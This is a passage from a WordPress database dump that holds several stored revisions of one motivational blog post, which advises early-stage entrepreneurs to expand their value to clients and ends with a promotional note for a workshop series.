others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-8', '', '', '2010-10-24 15:30:22', '2010-10-24 22:30:22', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-8/', 0, 'revision', '', 0),
(1203, 2, '2010-10-24 17:15:37', '2010-10-25 00:15:37', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-10', '', '', '2010-10-24 17:15:37', '2010-10-25 00:15:37', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-10/', 0, 'revision', '', 0),
(1202, 2, '2010-10-24 15:30:30', '2010-10-24 22:30:30', '<p><img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" /></p>\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\n<p>To begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!</p>\r\n<p>Without exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.</p>\r\n<p>Even when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.</p>\r\n<p><strong>Supply is infinite, time is finite.</strong><br />\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.</p>\r\n<p>There is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.</p>\r\n<p>On the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!</p>\r\n<p><strong>Make a big space in your life for big changes.</strong><br />\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.</p>\r\n<p>Start by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.</p>\r\n<p>Then each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.</p>\r\n<p><strong>Be really good and really different.</strong><br />\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.</p>\r\n<p>In every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.</p>\r\n<p>This is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).</p>\r\n<p>Never think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.</p>\r\n<p><strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong></p>\r\n<p><em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em></p>\r\n', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-9', '', '', '2010-10-24 15:30:30', '2010-10-24 22:30:30', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-9/', 0, 'revision', '', 0),
(1204, 2, '2010-10-24 17:16:09', '2010-10-25 00:16:09', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-11', '', '', '2010-10-24 17:16:09', '2010-10-25 00:16:09', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-11/', 0, 'revision', '', 0),
(1205, 2, '2011-06-17 12:14:53', '2011-06-17 19:14:53', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="expand your value in the world" width="446" height="335" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you''re an entrepreneur at the early stages of success, most likely you''ve pondered how best to get your business to the next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked with has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-autosave', '', '', '2011-06-17 12:14:53', '2011-06-17 19:14:53', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-autosave/', 0, 'revision', '', 0),
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(1206, 2, '2010-10-24 17:17:28', '2010-10-25 00:17:28', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-12', '', '', '2010-10-24 17:17:28', '2010-10-25 00:17:28', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-12/', 0, 'revision', '', 0),
(1207, 2, '2010-10-24 17:19:30', '2010-10-25 00:19:30', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you''re an entrepreneur at the early stages of success, most likely you''ve pondered how best to get your business to next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to 